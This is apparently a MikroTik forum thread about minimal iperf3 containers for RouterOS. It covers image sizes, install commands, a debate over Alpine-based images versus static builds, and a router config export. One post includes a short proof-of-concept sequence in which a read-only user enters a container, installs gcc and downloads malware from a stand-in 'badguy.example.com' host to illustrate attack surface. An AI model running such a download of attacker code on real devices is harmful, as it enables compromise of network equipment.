I’ve been on a quest to make the smallest iperf3 container for RouterOS. This constitutes weekend entertainment for me. What can I say; I nerd hard. 
What I have so far is here.
If you’ve got ~0.2 megs to spare on your router, give it a spin. I’m getting 3.4 Gbit/sec test results to my RB4011 running ROS 7.12rc5.
This works fine for me on ARM64, less than 5MB - https://hub.docker.com/r/taoyou/iperf3-alpine
/container print
1 name="4296455f-3ae4-4ea3-b96f-2fe832647191" tag="" os="linux" arch="arm64" interface=veth1-iperf root-dir=usb1/container/iperf mounts="" dns=""
hostname="iperf" status=running
It’s closer to seven megs unpacked:
$ docker create --name foo --platform linux/arm64 taoyou/iperf3-alpine
$ docker export foo | pv -b > /dev/null
6.97MiB
(pv is the PipeViewer tool.)
You might want to be aware that this line at the top of the taoyou container’s Dockerfile switches the package repos over from the official Alpine ones to the Aliyun (a.k.a. Alibaba Cloud) ones. If the only reason for that is because he’s inside the Great Firewall of China and can’t build containers otherwise, fine, but do realize that this step allows the Chinese government to swap out GCC and so forth to suit their political and security needs.
I did learn one thing of value from this container: the setcap step is unnecessary. I got that idea from the mDNS repeater container while I was fighting with getting the container to start, and I ended up convincing myself it was part of why I eventually succeeded, but no, it’s a complete irrelevancy.
In completely separate news, I figured out what the Alpine layer was adding that allowed the container to start on ROS: it won’t create the /dev, /proc, /run, or /sys mount points for you. If any single one of those is missing, it will unpack successfully, but then silently fail to start.
Between this and the removal of the setcap binary, I’ve now got my 0.2 MiB container running successfully on my RB4011!
0.2 megs! Installed!
Next step: try it on the CRS328, with its piddlin’ 16 megs of flash.
Wow, that is a true slimmed down container! 
Yes, thank you, @Larsa. These are the principles I was expounding on in the mDNS repeater thread. Between what you see on trunk in my Fossil now and the removed setcap stuff, I do think one could get that container under a meg.
Once again, not my itch, but the code’s there for the taking now.
Womp, womp: 356 Mbit/sec with 4 parallel streams.
I guess that’s what I get for using an 800 MHz ARM CPU for traffic generation.
Well, at least it runs. 
Give the latest alpine 3.18 iperf3 a test:
https://hub.docker.com/r/elicro/iperf3-server
The next is a test from a windows machine over a connection between HAP ax2 to an HAP ac2 which hosts the iperf3-server.
Seems pretty decent to me.
PS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52
Connecting to host 172.21.0.52, port 5201
[ 4] local 192.168.206.15 port 58116 connected to 172.21.0.52 port 5201
[ ID] Interval Transfer Bandwidth
[ 4] 0.00-1.00 sec 20.8 MBytes 174 Mbits/sec
[ 4] 1.00-2.00 sec 25.8 MBytes 216 Mbits/sec
[ 4] 2.00-3.00 sec 26.9 MBytes 226 Mbits/sec
[ 4] 3.00-4.00 sec 25.0 MBytes 210 Mbits/sec
[ 4] 4.00-5.00 sec 26.2 MBytes 220 Mbits/sec
[ 4] 5.00-6.00 sec 27.8 MBytes 233 Mbits/sec
[ 4] 6.00-7.00 sec 25.4 MBytes 213 Mbits/sec
[ 4] 7.00-8.00 sec 21.5 MBytes 180 Mbits/sec
[ 4] 8.00-9.00 sec 25.6 MBytes 215 Mbits/sec
[ 4] 9.00-10.00 sec 27.5 MBytes 231 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bandwidth
[ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec sender
[ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec receiver
iperf Done.
Download page for iperf3 windows version:
https://iperf.fr/iperf-download.php#windows
Installation instructions:
/interface/bridge/add name=dockers
/ip/address/add address=172.21.0.254/24 interface=dockers
/interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254
/interface/veth/set veth52 address=172.21.0.52/24
/interface/bridge/port add bridge=dockers interface=veth52
/container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull
/container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem"
/container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52"
/container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes
My container has been on the current release of iperf3 since September 16. I’ve updated it twice since starting this thread.
Yours is built on Alpine 3.18.4, which is still shipping iperf3 version 3.14, one back from the latest. You either have to build against alpine:edge or build from source — my container does both — to get iperf 3.15 at the moment.
Leaving the Alpine layer in the final container image instead of producing a single-static-binary container puts a powerful Linux userland inside the running container, including a full package manager attached to your network, potentially increasing its attack surface infinitely, not to mention ballooning its size:
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
tangentsoft/iperf3 latest fdf4574c8ceb 6 seconds ago 393kB
elicro/iperf3-server latest 3374057abc08 34 seconds ago 15.9MB
Yours won’t even unpack on 16 MiB flash devices like the CRS328, much less install and run. Mine will.
As if all of that weren’t enough of a reason to avoid this new container, you haven’t documented how it’s built. Mine is fully-documented and reproducible, allowing network operators to audit its operation for safety and suitability before putting it into production.
Hey Tangent,
I don’t want to say what you are saying is wrong.
It will be different per use case.
Your container is designed to be as small as possible and for specific edge use cases.
The container I have created is a general off the shelf ready to use software packaged in a container.
I am not trying to use the latest iperf version since I rely on Alpine distribution.
The container I have created was written for anyone to use.
Just for the knowledge of whoever wants or needs you can see the content of the container and verify if it’s OK for you.
If you need the sources for a simple apk add iperf3 you are in a really bad shape.
You can see the sources in the image itself and in the docker hub details about the container image.
The next command will expose the internals and if you are missing something you should be able to just put the container inside a VM and check the content of “start-server.sh”…
# docker history --no-trunc elicro/iperf3-server
IMAGE CREATED CREATED BY
SIZE COMMENT
sha256:6a35302d2125aeffa846810a94e7776b90cd8f9724224f0f1c8abcfc5ffbe13f 2 days ago CMD ["/start-server.sh"]
0B buildkit.dockerfile.v0
<missing> 2 days ago EXPOSE map[5201/tcp:{} 5201/udp:{}]
0B buildkit.dockerfile.v0
<missing> 2 days ago RUN /bin/sh -c chmod +x /start-server.sh # buildkit
21B buildkit.dockerfile.v0
<missing> 2 days ago COPY start-server.sh /start-server.sh # buildkit
21B buildkit.dockerfile.v0
<missing> 2 days ago WORKDIR /
0B buildkit.dockerfile.v0
<missing> 2 days ago RUN /bin/sh -c apk add --no-cache iperf3 # buildkit
213kB buildkit.dockerfile.v0
<missing> 4 days ago RUN /bin/sh -c echo OK && apk update # buildkit
1.88MB buildkit.dockerfile.v0
<missing> 6 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"]
0B
<missing> 6 weeks ago /bin/sh -c #(nop) ADD file:756183bba9c7f4593c2b216e98e4208b9163c4c962ea0837ef88bd917609d001 in / 7.34MB
If you are going to run a container you should have the knowledge and understanding of the risks and if you don’t have these you can always ask others here or in other places.
Just one specific thing about the attack surface of the Alpine compared to plain single static binary, if you are so afraid of containers and from alpine you should not even used RouterOS but rather pay a great sum of money to specific experts that will try to educate you about the feasible attack vector points of the world in general.
Me creating this container also contains in it that I trust alpine linux and iperf.
It’s free and opensource for anyone to use but it doesn’t mean that I need to publish the way I built the image to “prove” others how it was built.
If an admin doesn’t know how to open a container image and to do basic analysis of the image based on Alpine linux he should start thinking about learning this kind of knowledge and expertise.
Could you guys as container specialists enlighten me why a container would not start if you installed it onto a SMB-share (on a RouterOS through ROSE-package)
Such package is downloaded correct, container is created OK, “iperf” binary can be found on the NAS providing the SMB-share under the “bin” folder that was created.
However pressing “Start” give nothing in the logging and the container stops 1 second later…
I really want to understand what I would need to alter in order to run container of a SMB-share which is permanently mounted on the Mikrotik.
Some of the info (layers) I see for the “iperf3” container image.
Perhaps I must modify some files and deploy container from local images and not pull them from the repo ?
ADD file … in /
CMD [“/bin/sh”]
RUN /bin/sh -c echo OK
RUN /bin/sh -c apk add
WORKDIR /
COPY start-server.sh /start-server.sh # buildkit
RUN /bin/sh -c chmod +x
EXPOSE map[5201/tcp:{} 5201/udp:{}]
CMD [“/start-server.sh”]
Thanks!
What else is your container meant to provide other than an “iperf3-server” as labeled, then? Here I thought the idea was to provide an iperf3 server. Mine does that. As you can see from my container’s Dockerfile, I didn’t strip any features of iperf3 out of my binary, making it suitable only for “specific edge use cases.” Mine meets the spec on the label and does nothing more.
The container I have created is a general off the shelf ready to use software packaged in a container.
Your alternative is worse on every meaningful metric: it’s pointlessly bigger, it’s configured in a less secure way, and it’s of an older version than current even though you claim it is “the latest”. That would be fine if your container was the only thing available, but instead you’ve hijacked a thread offering a superior option by announcing an inferior one. To what useful end?
I am not trying to use the latest iperf version since I rely on Alpine distribution.
You can get the latest version of iperf3 atop Alpine without compiling from source by saying “FROM alpine:edge”.
you can see the content of the container and verify if it’s OK for you.
The image layer comments listed on Docker Hub may be incomplete, misleading, or even wrong. Only having the source code lets you reproduce the build reliably.
Take the first line in the breakdown on my tangentsoft/iperf3:latest image for example:
COPY /src/iperf3 /bin/ # buildkit
Where did “/src/iperf3” come from? What is that binary’s provenance? How was it built? Is it even iperf3, really? Only having the Dockerfile, the Makefile, and redoing the build lets you verify that what that container claims to provide is actually provided, unchanged, bit-for-bit identical to your local build.
That’s important with non-verified image sources like yours and mine since there is otherwise no basis for developing trust in the provider of the image. Anyone can list anything on Docker Hub. I’ve found proof-of-concept malware up there that’s been available for years and is still available despite me reporting it to Docker, Inc. Although I believe the image I’m thinking of to be the product of a security researcher and not some type of malefactor, it is listed under the name of a popular piece of software, potentially leading anyone searching for a pre-packaged container image for that program to install it and thereby open the proof-of-concept hole in their network.
Furthermore, the OCI spec allows you to omit image layer history comments or to put any lie there that you like. Note that the “history” section is wholly optional, as is the “created_by” attribute within. You don’t even have to hand-hack the config.json file to achieve this. There are ready-made tools for creating this type of counterfactual declaration such as “buildah build --omit-history”.
When these created_by attributes are present in the image’s config.json file, there is nothing enforcing the accuracy of their representation of the image layer’s contents. They’re comments, not a recipe. Opening the Tags panel on Docker Hub and clicking on an image to find out what is inside can be arbitrarily misleading.
If you need the sources for a simple
apk add iperf3you are in a really bad shape.
Read up on reproducible builds and see if you still feel the same way afterward.
If that doesn’t change your mind, you shouldn’t be working in any sphere where trustworthy SBOMs are required.
If you are going to run a container you should have the knowledge and understanding of the risks
How can you understand the risks if you cannot trust the image history? Only the source code provides that level of trust.
I am not saying that every network operator should audit their containers to the source code level, but someone should be doing these audits. That is in part why Docker Hub has the “verified” and “certified OSS” labels on trustworthy containers.
But what assurances are there for community contributed container images like ours, if not the source code?
if you are so afraid of containers and from alpine you should not even used RouterOS but rather…
I’m afraid for good reason. I present here my proof-of-concept local island-hopping attack, cooked up in a matter of minutes and just now reported as SUP-134088:
$ ssh admin@myrouter
> /container/add remote-image="alpine:latest" interface=veth1 entrypoint="/bin/sleep" cmd="600"
> /container/start 0
> exit
$ ssh readonly@myrouter
> /container/shell 0
# apk add gcc
# wget https://badguy.example.com/horrid/malware.tar.gz
Now you can compile this arbitrary code on-device as a read-only RouterOS user and run it on your little island, attached to a core piece of network equipment!
This type of attack is also called “living off the land.” If there is nothing else inside the container but the service binary, that “land” becomes an empty desert in this analogy.
And that’s not the only way to fail here. If the software you package up is trustworthy today but ends up being shown to have an RCE vulnerability tomorrow — you know, the kind of thing that happens approximately once a week, somewhere — having an unnecessary copy of Alpine inside the container gives an attacker a lot of power that they would not otherwise have.
Hey Tangent,
First I appreciate your time and effort.
In a forum there is some definition of tread hijacking but for now you are writing much more then me and also placing very good points.
I would say this is a very very successful discussion regarding the general topic of containers.
I don’t know in what environment you are working in or at but there are couple ways to look at trust and facts.
We are obligated to do our best efforts to make sure we have trust in a specific software.
And you are right that to some degree there should be a signature that will identify the container in it’s latest state.
The layers themself doesn’t matter as long as the latest state is verified as trusted by a trusted verification entity.
I can publish an AIDE database file that will use SHA256 and will make sure what I intended to publish is reaching the other side.
However there are basic constrains to trust methods in the www and in general use cases.
The content of your and my container is not a secrect while you have built it from sources and copied it into another layar.
The only thing in your case is to verify that the static binary is either safe or not safe for usage and it’s not such a simple task by itself since it’s a self compiled and not a widely used binary.(in the sense that it’s not distributed to the masses like alpine and other distros do)
In my case there are known risks and in your case there are known risks.
The difference is the effort needed to secure the trust of the container.
For example if I want to secure the container the first thing to do is to use the FW…
block all outgoing traffic by default and allow only NEW,ESTABLISHED,RELATED per the iperf3 ports.
Also, if you want to know if something is trying to reach out of the container you can simply monitor the FW rule counters.
If the DROP_ALL_OUT rule is increasing to even 1 you can understand that there is something that needed to be checked and tested in the container and in your case else then the hashes of the files inside of it also reverse engineer the static binary.
Security is not about “not having build tools” but to limit the attack surface of these tools.
Mikrotik does a very good job in securing their systems and giving a very good FW, Routing and Switching OS and Hardware and my view on things is more optimistic about the trust I give in Mikrotik and of-course I did my homework and I can try to answer any of your questions if you want me to add more details.
By the way, again, this is one of the most amazing forum discussions I have seen in Mikrotik Forums yet in many days.
Containers provide that already: the image digest, which functionally obsoletes another technology you mention, AIDE. Indeed, when combined with the reproducible build ideas I linked to previously, container image digests let you reproduce the digest list for one system on any other system, removing the need to depend on a trusted central authority to hold the immutable “correct” set of digests, avoiding a potential SPoF problem.
The smaller the set of inputs and outputs, the easier a reproducible build is to achieve. With my image, all I have to “pin” in place are the compiler and library versions, but with yours, any change to anything in Alpine will invalidate the hash you take of the final result.
…to verify that the static binary is either safe or not safe for usage and it’s not such a simple task by itself since it’s a self compiled and not a widely used binary
On the contrary, I think my container’s content is quite simple to verify. Not only is its Dockerfile short, there is only one key line you have to check: the source code pull from GitHub. If you trust GitHub to provide untainted iperf3 sources, you’re done right there. If not, then you can point that line to any other provider of iperf3 source code you do trust.
You bring up Alpine as a source of trustworthy iperf3 binaries. Fine, then. Here is the search result on their package database for the ARMv7 package in alpine:edge. Clicking on it gives the same GitHub repo for their source code.
If you dig into the build log, you find that they’re pulling a static tarball instead of using Git, as my container does. Fine again. Modify my container to pull that same tarball and build from it instead. Now you have equivalent trust for my container versus the one built by the Alpine project itself.
This is the value of publishing full source code for the container build system.
The difference is the effort needed to secure the trust of the container.
The problem with your method is that without the Dockerfile, I cannot reproduce your build.
Pointing at the image history comments and saying, “That is how it is built,” proves nothing. Docker Hub does not — and cannot — enforce the validity of those comments. If I were sufficiently motivated, I am certain I could write a container that put one line of a poem in as the comment for each layer in the image, and never mind that Bash has yet to get a feature that lets it execute poetry.
Beware the Jabberwock, my son!
use the FW…
block all outgoing traffic by default and allow only NEW,ESTABLISHED,RELATED per the iperf3 ports.
Yes, you could do that…and thereby slow down a container meant for testing network speed.
Instead of forcing every packet through a gauntlet of firewall rules that enforces my intent that the container do nothing else but listen on UDP+TCP port 5201, I would rather provide a container that does exactly that and nothing else, by construction. That way, I don’t need to add a firewall to my container to block outbound wget connections or inbound connections to some random botnet’s command-and-control server built on-device with GCC, because these things cannot happen with my container in the first place.
This is the principle of least privilege in action. Instead of giving the container access to do everything one can possibly do through “apk add” and then blocking off all but the one thing it is specifically allowed to do, I prefer to construct my container in a manner that allows it to do that one thing and nothing else.
Hey Tangent,
The point of having an option to use a distribution is to not handle the sources yourself.
There is a price for building and verifying yourself the binaries and handing it over to another entity or person.
I prefer to invest my time on what it’s worth.
I am not handling embedded systems with 16 MB of Storage but rather use an external USB SSD drive or USB FLASH Drive.
I can understand that there is a need for your specific use case but now the users have two options to choose from.
I believe it’s better to have two options or more rather then only one that you need to verify your self every piece of the puzzle.
By the way, by your logic we might not trust Mikrotik and their closed sources…
I can put my stand in many words but there would be use cases that would benefit from your build and approach…
We are not arguing one against the other but rather selling the same product ie iperf3 (and Mikrotik and Docker etc..) with different approaches.
Eventually I want for you to be able to benefit from our work(all of the above) so I think that for a HAP ac/ax 3 it would be usefull.
As for HAP AX2 it doesn’t have USB anymore and I think it would put me in a position which I must purchase a product with a higher price tag eventually.
I would be happy to have HAP ax2 with a USB since then you can get one instead of the RB4011 and have almost the same performance.
And if you really need all the benefits of RB4011 then by all means MT, can you please add a USB port to the next one?
Or maybe the L009 can be a good choice?
And by the way, a single DROP rule in the RAW table and another in the FILTER on a RB4011 would not affect the overall of the device.
Just prioritize the rules with the ESTABLISHED RELATED first (with fast track) and all the others in a lower priority and then you are set to go.
This is a RB4011 not a MIPS Based device…
Tangent, before spreading FUD (sure, there are valid concerns, but still), have you read the Container manual?
First of all, you can’t use containers with a read only user, as this feature requires a physical button push to enable it.
Don’t enable it on devices that have untrusted users. Simple.
And second of all, there are big red disclaimers that address those concerns:
https://help.mikrotik.com/docs/display/ROS/Container
Fantastic! A small iperf3 container can be a game-changer for network testing and performance tuning. The lightweight footprint makes it easy to deploy and integrate into various environments. Perfect for quick assessments and troubleshooting. Any specific optimizations or unique features you’ve added to make it even more efficient.
tell me please, what am I doing wrong?
container is running, but port 5201 is not open and iperf3: error - unable to connect to server - server may have stopped running or use a different port, firewall issue, etc.: Connection refused
Probably a firewall rule.
The last part of your test even says so …
Export config (minus serial, wanip, passwds, …)
Post beteween [__ code] quotes for easier readability.
# 2023-12-02 13:44:31 by RouterOS 7.12.1
# software id =
#
# model = RB3011UiAS
# serial number =
/interface bridge
add admin-mac=64:D1:54:81:35:E3 auto-mac=no comment=defconf name=bridge
add name=containers
/interface ethernet
set [ find default-name=ether2 ] name=ether2-master
set [ find default-name=ether6 ] name=ether6-master
/interface veth
add address=192.168.88.2/24 gateway=192.168.88.1 gateway6="" name=veth1
/disk
set usb1 type=hardware
/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN
add exclude=dynamic name=discover
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip pool
add name=default-dhcp ranges=192.168.88.10-192.168.88.254
/ip dhcp-server
add address-pool=default-dhcp interface=bridge lease-time=10m name=defconf
/port
set 0 name=serial0
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0
/zerotier
set zt1 comment="ZeroTier Central controller - https://my.zerotier.com/" \
disabled=yes disabled=yes name=zt1 port=9993
/container
add interface=veth1 logging=yes start-on-boot=yes workdir=/
/container config
set registry-url=https://registry-1.docker.io tmpdir=usb1/pull
/interface bridge port
add bridge=bridge comment=defconf interface=ether2-master
add bridge=bridge comment=defconf interface=ether6-master
add bridge=bridge comment=defconf hw=no interface=sfp1
add bridge=bridge interface=ether3
add bridge=bridge interface=ether4
add bridge=bridge interface=ether5
add bridge=bridge interface=ether7
add bridge=bridge interface=ether8
add bridge=bridge interface=ether9
add bridge=bridge interface=ether10
add bridge=bridge interface=veth1
/ip neighbor discovery-settings
set discover-interface-list=discover
/interface list member
add comment=defconf interface=bridge list=LAN
add comment=defconf interface=ether1 list=WAN
add interface=ether2-master list=discover
add interface=ether3 list=discover
add interface=ether4 list=discover
add interface=ether5 list=discover
add interface=sfp1 list=discover
add interface=ether6-master list=discover
add interface=ether7 list=discover
add interface=ether8 list=discover
add interface=ether9 list=discover
add interface=ether10 list=discover
add interface=bridge list=discover
/ip address
add address=192.168.88.1/24 comment=defconf interface=bridge network=\
192.168.88.0
add address=192.168.88.2/24 interface=veth1 network=192.168.88.0
/ip dhcp-client
add comment=defconf interface=containers
/ip dhcp-server network
add address=192.168.88.0/24 comment=defconf gateway=192.168.88.1
/ip dns
set allow-remote-requests=yes
/ip dns static
add address=192.168.88.1 name=router.lan
/ip firewall filter
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
disabled=yes in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
ipsec-policy=out,ipsec
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
connection-state=established,related disabled=yes hw-offload=yes
add action=accept chain=forward comment=\
"defconf: accept established,related, untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
connection-state=new disabled=yes in-interface-list=WAN
/ip firewall nat
add action=masquerade chain=srcnat comment="defconf: masquerade" \
ipsec-policy=out,none out-interface-list=WAN
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/system clock
set time-zone-name=Europe/Moscow
/system logging
set 0 action=disk
set 1 action=disk
set 2 action=disk
set 3 action=disk
/system note
set show-at-login=no